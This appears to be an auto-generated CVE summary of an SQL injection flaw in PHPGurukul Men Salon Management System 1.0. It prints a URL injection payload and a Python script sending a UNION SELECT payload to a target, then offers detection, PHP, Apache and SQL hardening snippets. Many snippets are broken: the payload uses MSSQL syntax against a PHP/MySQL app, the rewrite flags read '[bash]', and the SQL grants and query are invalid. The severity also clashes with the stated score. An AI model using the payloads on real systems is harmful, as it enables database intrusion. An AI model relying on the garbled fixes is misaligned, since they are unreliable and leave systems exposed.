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How the CVE Works:
The CVE-2025-3828 vulnerability exists in PHPGurukul Men Salon Management System 1.0 within the `/admin/view-appointment.php?viewid=11` endpoint. The `remark` parameter is susceptible to SQL injection due to improper input sanitization. Attackers can craft malicious SQL queries through this parameter, allowing unauthorized database access. The vulnerability has a CVSS 4.0 score of 6.9 (MEDIUM) with network attack vector and low attack complexity. No authentication is required, making it remotely exploitable. Successful exploitation could lead to data leakage, manipulation, or complete system compromise.
DailyCVE Form:
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/28/2025
What Undercode Say:
-- Exploit POC: /admin/view-appointment.php?viewid=11&remark='+AND+1=CONVERT(int,(SELECT+table_name+FROM+information_schema.tables))--
Automated exploit script
import requests
target = "http://target.com/admin/view-appointment.php"
params = {
"viewid": "11",
"remark": "' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- -"
}
response = requests.get(target, params=params)
print(response.text)
Detection command: curl -s "http://localhost/admin/view-appointment.php?viewid=11&remark='" | grep -i "error|sql|syntax"
// Protection code: $viewid = mysqli_real_escape_string($conn, $_GET['viewid']); $remark = mysqli_real_escape_string($conn, $_GET['remark']); $query = "SELECT FROM appointments WHERE id='$viewid' AND remarks='$remark'";
Web server protection:
RewriteEngine On
RewriteCond %{QUERY_STRING} (union|select|insert|delete|update|drop) [bash]
RewriteRule ^admin/view-appointment.php - [bash]
-- Database hardening: REVOKE ALL PRIVILEGES ON salon_db. FROM 'webuser'@'%'; GRANT SELECT ONLY ON salon_db.appointments TO 'webuser'@'%';
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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